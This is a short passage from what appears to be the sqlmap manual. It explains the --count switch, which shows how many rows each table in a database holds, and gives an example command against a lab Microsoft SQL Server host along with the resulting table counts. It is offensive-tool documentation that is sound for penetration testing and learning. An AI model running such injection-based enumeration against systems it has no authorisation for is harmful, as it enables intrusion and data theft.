Retrieve number of entries for table(s)

Switch: --count

In case that user wants just to know the number of entries in table(s) prior to dumping the desired one, he can use this switch.

Example against a Microsoft SQL Server target:

$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1"\
--count -D testdb
[...]
Database: testdb
+----------------+---------+
| Table          | Entries |
+----------------+---------+
| dbo.users      | 4       |
| dbo.users_blob | 2       |
+----------------+---------+